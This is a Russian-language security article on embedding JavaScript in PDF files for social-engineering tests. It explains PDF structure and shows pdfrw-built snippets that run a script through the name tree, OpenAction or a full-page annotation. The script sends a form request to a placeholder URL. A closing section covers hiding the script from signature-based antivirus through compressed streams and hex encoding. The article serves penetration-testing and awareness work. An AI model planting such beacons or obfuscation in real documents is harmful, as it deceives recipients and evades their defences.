Встраивание JS-скриптов в PDF для социальной инженерии

Встраивание JS-скриптов в PDF для социальной инженерии

Авторы: Белоусова Маргарита, аналитик, Прядко Анастасия, специалист по анализу защищенности

Введение

PDF (Portable Document Format) – кроссплатформенный формат представления документов в электронном виде. Он получил огромное распространение в мире и, де-факто, является стандартом обмена документами. Файлы этого формата можно открывать в любой операционной системе ровно в том же виде, в котором документ был создан. Более того, для его просмотра даже не обязательно устанавливать специальное ПО – современные браузеры имеют встроенные средства для отображения PDF.

Согласно статистике PositiveTechnologiesбольшинство всех атак совершается с использованием вредоносного программного обеспечения, а половина от всех атак проводится с использованием методов социальной инженерии.

<p>Рисунок 1. Методы атак на организации, 2021</p>

Рисунок 1. Методы атак на организации, 2021

Причем в 55% случаев ВПО распространялось посредством электронной почты.

<p>Рисунок 2. Способы распространения ВПО в атаках на организации, 2021</p>

Рисунок 2. Способы распространения ВПО в атаках на организации, 2021

Таким образом, для проведения проверок с использованием методов социальной инженерии было бы полезно научиться отслеживать реакцию пользователей, что они будут делать с полученным документом. Причём делать это необходимо штатными средствами, никого не взламывая. JavaScript идеально подходит для этих целей

В данной статье мы кратко рассмотрим структуру PDF-файла, как и куда в него внедрять JavaScript, а также способы маскировки факта внедрения скрипта.

Структура PDF

Организация данных в памяти

PDF способен на большее, чем просто отображать текст. Он может также включать в себя изображения и другие мультимедийные элементы, может быть защищён паролем, выполнять JavaScript и многое другое.

Самая первая версия формата была разработана фирмой Adobe Systems ещё в 1993-м году с использованием ряда возможностей языка PostScript, но не сыскала особой популярности в то время. Многие плохо понимали преимущества формата и, кроме того, программа для чтения файлов была платной. Позже Adobe пересмотрела свою политику и выпустила бесплатный Acrobat Reader, переименованный позднее в Adobe Reader. С этих пор популярность формата начала неуклонно расти, с каждой версией он обрастал новыми возможностями, а с 1 июля 2008 года PDF является открытым стандартом ISO 32000.

Однако, вне зависимости от версии структура документа неизменна:

<p>Рисунок 3. Структура PDF</p>

Рисунок 3. Структура PDF

1. Заголовок (header): самая первая строка файла, хранит номер версии спецификации PDF. На картинке выше представлен заголовок PDF-файла версии 1.7. Символ «%» вне строки или потока вводит комментарий в PDF.

2. Тело (body): хранит в себе все объекты PDF. Как правило — это текстовые потоки, различные мультимедийные элементы и тому подобное. Словом, тело используется для хранения всех данных документа, отображаемых пользователю.

3. Таблица ссылок (cross-reference table): таблица перекрёстных ссылок, содержащая смещения каждого объекта в памяти. Это позволяет приложению получать произвольный доступ к любому объекту документа, не читая его целиком. Каждая конкретная таблица начинается с ключевого слова «xref». Во второй строке первое число – это номер текущего объекта, а второе – количество строк в таблице.

<p>Рисунок 4. Таблица перекрёстных ссылок</p>

Рисунок 4. Таблица перекрёстных ссылок

Каждый объект здесь представлен одной записью длиной 20 байтов (включая CRLF). Первые 10 байтов – это смещение объекта от начала PDF-документа до начала этого объекта. Далее следует разделитель пространства с другим числом, определяющим номер поколения объекта. После этого есть еще один разделитель пространства, за которым следуют буква «f» или «n», чтобы указать, свободен или используется объект.

Первый объект имеет идентификатор 0 и всегда содержит одну запись с номером поколения 65535, который находится во главе списка свободных объектов (обратите внимание на букву «f», что означает свободный). Последний объект в таблице перекрестных ссылок использует номер поколения 0.

1. Блок поиска таблиц объектов и ссылок (trailer): предоставляет соответствующую информацию о том, как приложение, читающее файл, должно найти таблицу перекрестных ссылок и другие специальные объекты. В трейлере также содержится информация о количестве исправлений, внесенных в документ. Все приложения для чтения PDF начинают с этого раздела.

<p>Рисунок 5. Трейлер</p>

Рисунок 5. Трейлер

«Size» здесь означает количество записей в таблице ссылок, «Root» указывает косвенную ссылку на корневой объект документа, а «Info» ссылает на информационный объект.

PDF был разработан с учётом возможности обновления. При постепенном обновлении PDF-файла изменения должны быть добавлены в конец файла, оставляя его исходное содержимое нетронутым.

<p>Рисунок 6. Обновление pdf-файла</p>

Рисунок 6. Обновление pdf-файла

Дополнительные разделы перекрестных ссылок содержат только записи для объектов, которые были изменены, заменены или удалены. Удаленные объекты остаются в файле, но отмечаются флагом «f». Каждый трейлер должен быть завершен тегом «%% EOF» и должен содержать запись «Prev», которая указывает на предыдущий раздел перекрестных ссылок.

В версиях PDF версии 1.4 и выше можно указать запись Версии в словаре каталога документа, чтобы переопределить версию по умолчанию из заголовка PDF.

Типы данных

PDF поддерживает различные типы данных: булевы, числа, строки, имена, массивы, словари, потоки и нулевой объект. На числах, булевых значениях и нулевом объекте останавливаться не будем, а вот про остальные ниже.

Имена

Они представлены последовательностью символов ASCII в диапазоне от 0x21 до 0x7E, за исключением символов: %, (, ), <, >, [, ], {, }, / и №, которые следует экранировать символом косой черты – «\». В качестве альтернативы, каждый конкретный символ можно представлять в виде его шестнадцатеричного значения, которому предшествует символ «#». Длина имени ограничена 127-ю байтами.

Каждое имя должно начинаться с косой черты – «/». Этот символ не является частью имени, но является префиксом, указывающим на тип данных. При необходимости использования пробела или любого другого специального символа в имени, его следует закодировать шестнадцатеричной двухзначной нотацией.

Примеры имён:

/Names

/#4e#61#6d#65#73

Строки

Строка должна иметь длину не более 65 535 байтов. Её можно представлять как в виде обычной строки, заключённой в круглые скобки, так и в виде шестнадцатеричной последовательности, заключённой в угловые скобки. Кроме того, каждый отдельный символ можно представлять и в восьмеричном виде, например: «\164».

Примеры строк:

(Hello, world!)

<48656c6c6f2c20776f726c6421>

(\110\145\154\154\157\544\016\715\716\215\414\441)

Массивы

Массивы представлены в виде последовательности объектов любых типов, заключённых в квадратные скобки: [объект1 объект2 …]

Словари

Любой словарь в PDF является таблицей ключ/значение. Ключ обязательно должен быть представлен объектом Name, когда как значение может быть абсолютно любым. Максимальное количество записей в словаре – 4096. Словарь должен быть представлен записями, заключёнными в двойные угловые скобки: <<ключ1 значение1 ключ2 значение2 …>>

Потоки

Объект потока представлен последовательностью байтов и никак не ограничен по длине. Объект потока представлен объектов словаря, в котором находятся некоторые ключевые слова, описывающие поток, за которым следует перевод строки и сам поток, заключённый в ключевые слова «stream» и «endstream».

В потоках также можно хранить и объекты, для этого в словаре потока нужно указать соответствующий тип – «ObjStm», задать количество объектов и смещение первого объекта, а в самом потоке первой строкой задать пары номер объекта и смещение в декодированном потоке.

Косвенные объекты

Каждый такой объект начинается с записи из двух чисел: номер объекта и его поколение. Далее следует ключевое слово «obj», за ним следует сам объект и закрывает всё это дело ключевое слово «endobj». Чтобы сослаться на такой объект косвенной ссылкой, следует указать номер объекта, его генерацию и ключевое слово «R».

О JavaScript

После того, как мы пробежались по структуре PDF, хотелось бы немного рассказать про JavaScript. Впервые возможность его использования появилась в PDF 1.3, что должно было улучшить работу с формами и валидацию пользовательского ввода. Однако, JavaScript стал также использоваться и для проведения различных атак, поэтому Adobe была вынуждена реализовать модель безопасности и в 2007 году представляет свой API.

Согласно классификации модели безопасности Adobe, функции были разделены на привилегированные и непривилегированные. Все критические функции (или те, что Adobe посчитала таковыми) выполняются в привилегированном контексте; пользователь получает предупреждение перед выполнением такой функции, которое необходимо принять для продолжения операции. Все прочие функции выполняются без каких-либо предупреждений или ограничений.

Следует обратить внимание, что не все просмотрщики поддерживают исполнение скриптов, некоторые позволяют исполнять только очень ограниченный набор функций. Кроме того, в том же Adobe Reader существует возможность принудительно отключить возможность исполнения JavaScript.

Код JavaScript в PDF должен быть представлен действием, которое задаётся в словаре следующим образом:

<p>Рисунок 7. Словарь с кодом JS</p>

Рисунок 7. Словарь с кодом JS

Ключ «S» указывает на тип действия; в данном случае «JavaScript». Под ключом «JS» указывается сам код. Его можно представить в виде строки или потока.

Данный словарь можно хранить в любом месте, где можно использовать действия; например, в OpenAction. В этом случае код исполнится в момент открытия документа. Кроме того, ради поддержки параметризованных функций в PDF существует возможность хранить код в дереве имён. Тогда, при открытии документа все функции, определённые в дереве имён, будут исполнены и определены для использования другими скриптами в документе.

Разберём конкретный пример. Посмотрим сначала на корневой объект. Он представлен словарём <<ключ1 значение1 ключ2 значение2 …>>. В строке 7 он содержит косвенную ссылку (6 0) на корень дерева имён.

<p>Рисунок 8. Корневой объект</p>

Рисунок 8. Корневой объект

Далее, посмотрим на дерево имён. Строка 50 также содержит косвенную ссылку на объект (7 0), содержащий дерево имён с действиями JavaScript.

<p>Рисунок 9. Корень дерева имён</p>

Рисунок 9. Корень дерева имён

Далее, строка 70 объекта (7 0) содержит перечень имён в массиве [ключ1 значение1 ключ2 значение2 …], отсортированный в лексикографическом порядке. В данном случае пара ключ-значение только одна. Имя ключа не несёт в себе никакого сакрального смысла и нужно лишь для удобства организации хранения скриптов.

<p>Рисунок 10. Имя скрипта</p>

Рисунок 10. Имя скрипта

Объект (8 0) содержит, наконец, сам JS-код. Строка 64 описывает тип действия, в данном случае JavaScript. Строка 62 содержит сам скрипт в текстовом виде.

<p>Рисунок 11. Объект со скриптом</p>

Рисунок 11. Объект со скриптом

Таким образом результат отображается в Google Chrome:

<p>Рисунок 12. Аlert в браузере</p>

Рисунок 12. Аlert в браузере

В Adobe Acrobat:

<p>Рисунок 13. Аlert в Adobe Reader</p>

Рисунок 13. Аlert в Adobe Reader

Внедрим теперь тот же скрипт, но уже в OpenAction:

<p>Рисунок 14. OpenAction в корневом объекте</p>

Рисунок 14. OpenAction в корневом объекте

<p>Рисунок 15. Действие в OpenAction</p>

Рисунок 15. Действие в OpenAction

Откроем документ просмотрщиком и сравним с предыдущим вариантом. В Google Chrome разница визуальна не заметна:

<p>Рисунок 16. Аlert в браузере</p>

Рисунок 16. Аlert в браузере

А вот Adobe Acrobat позволяет визуально определить разницу во времени, когда исполняется скрипт.

<p>Рисунок 17. Аlert в Adobe Reader</p>

Рисунок 17. Аlert в Adobe Reader

Сборка файла для социальной инженерии

Для внедрения кода и разбора файлов я использовала библиотеку для Python pdfrw. Для экспериментов будем использовать документ file-sample_150kB.pdf. Во всех последующих примерах фигурирует следующий скрипт:

app.alert("Click here");

this.submitForm('https://my.url/');

Для начала внедрим код просто в дерево имён и откроем результат в Adobe Reader:

/Names: <

/Names: [(script_name), <<

JS: (my_script;), /S: /JavaScript>>] >> >>

Сначала появится окно предупреждения. Так что есть возможность подобрать текст так, чтобы в дальнейшем было не страшно нажать «разрешить» в окне разрешения доступа.

<p>Рисунок 18. Окно предупреждения</p>

Рисунок 18. Окно предупреждения

Окно разрешения:

<p>Рисунок 19. Окно разрешения</p>

Рисунок 19. Окно разрешения

Однако, ещё до того, как пользователь нажмёт кнопку «разрешить», приложение отправит DNS-запрос. Для примера намеренно был выбран pipedream.net, поскольку домен второго уровня здесь не резолвится. Если бы его можно было разрезолвить, как тот же burpcollaborator.net, процесс бы на этом остановился. Приложение будет опускаться на один домен ниже до тех пор, пока он не разрезолвится (или резолвить будет нечего).

<p>Рисунок 20. Попытки резолва в Wireshark</p>

Рисунок 20. Попытки резолва в Wireshark

Если нажать кнопку «разрешить», то появится окно передачи данных:

<p>Рисунок 21. Окно передачи данных</p>

Рисунок 21. Окно передачи данных

Запрос дошёл до точки:

<p>Рисунок 22. Дошедший POST-запрос</p>

Рисунок 22. Дошедший POST-запрос

Однако, если мы захотим применить такое зная, что пользователь будет открывать документ в браузере на движке Chromium, то такой метод не сработает. Chromium использует в качестве просмотрщика PDF сильно ограниченный PDFium, и просто так «submitForm» не исполнить, однако в аннотации к странице можно.

Собственно, давайте сделаем это:

/Annots: [ <</Type: /Annots, /Subtype: /Widget,
/Rect: [0, 0, 900, 900], /Border: [0, 0, 0],
/A: << /S: /JavaScript, /JS: (my_script;)>>,
/Parent: <</FT: /Btn, /T: (script_name) >> >> ]

При открытии документа в Google Chrome и нажатии на любом месте страницы появляется оповещение, не оставляющее альтернатив, кроме как нажать «ОК». Для запрета можно лишь закрыть вкладку. При подтверждении для жертвы с виду больше ничего не происходит.

<p>Рисунок 23. Окно предупреждения в браузере</p>

Рисунок 23. Окно предупреждения в браузере

Но на самом деле запрос уже ушёл на сервер:

<p>Рисунок 24. Дошедший POST-запрос</p>

Рисунок 24. Дошедший POST-запрос

Прятки с антивирусами

Некоторые файрволы и антивирусы работают исключительно методом сигнатурного поиска, так что было бы неплохо научиться избегать потенциального обнаружения. Глобально можно выделить две стратегии обфускации, которые можно комбинировать между собой различными способами. При правильном исполнении разницы в отображении документа до и после манипуляций быть не должно.

Потоки

Этот тип данных поддерживает применение различных фильтров к данным потока. Таким образом можно скрывать содержимое потока:

<p>Рисунок 25. Скрипт, закодированный в потоке</p>

Рисунок 25. Скрипт, закодированный в потоке

В данном примере используется фильтр «FlateDecode», устанавливающийся для данных, сжатых методом «zlib/deflate». Не обязательно использовать только один фильтр, их можно устанавливать несколько, перечисляя в массиве: /Filter [/filter1 /filter2 …]. В результате применения фильтров становится очень тяжело получить обычный текст. Кроме того, PDF также поддерживает задания целых объектов или групп объектов в потоке посредством «ObjStm».

Манипуляции со строками

Благодаря синтаксису PDF строки и имена можно писать различными способами, что уже было освещено ранее. Это полезно в случае, если инструменты статистического анализа просто определяют определённые ключевые слова в документе, например «JavaScript».

В следующем примере используется шестнадцатеричная кодировка, чтобы сокрыть слова «JavaScript», «JS», а также название и содержание самого скрипта, плюс в шестнадцатеричной строке расставлены пробельные символы в произвольных местах (механизм рендеринга PDF игнорирует их и просто объединяет части строки):

<p>Рисунок 26. Обфусцированный тег</p>

Рисунок 26. Обфусцированный тег

<p>Рисунок 27. Обфусцированный код</p>

Рисунок 27. Обфусцированный код

Подводя итоги

Используя комбинации триггеров, действий и/или сегментов JS-кода можно инициировать внешние подключения, исполнять произвольный код. Но можно и валидировать ввод в формах, автоматически заполнять поля, динамического изменять страницы при отправке на печать. Хотя результат всё ещё очень сильно зависит от приложения, использующегося для просмотра документа. Не существует универсальной нагрузки или атаки, которая одинаково бы работала для каждого просмотрщика, успех всегда будет зависеть от механизма рендеринга PDF, полноты его реализации и политик безопасности.

Источники и дальнейшее чтение

11
Начать дискуссию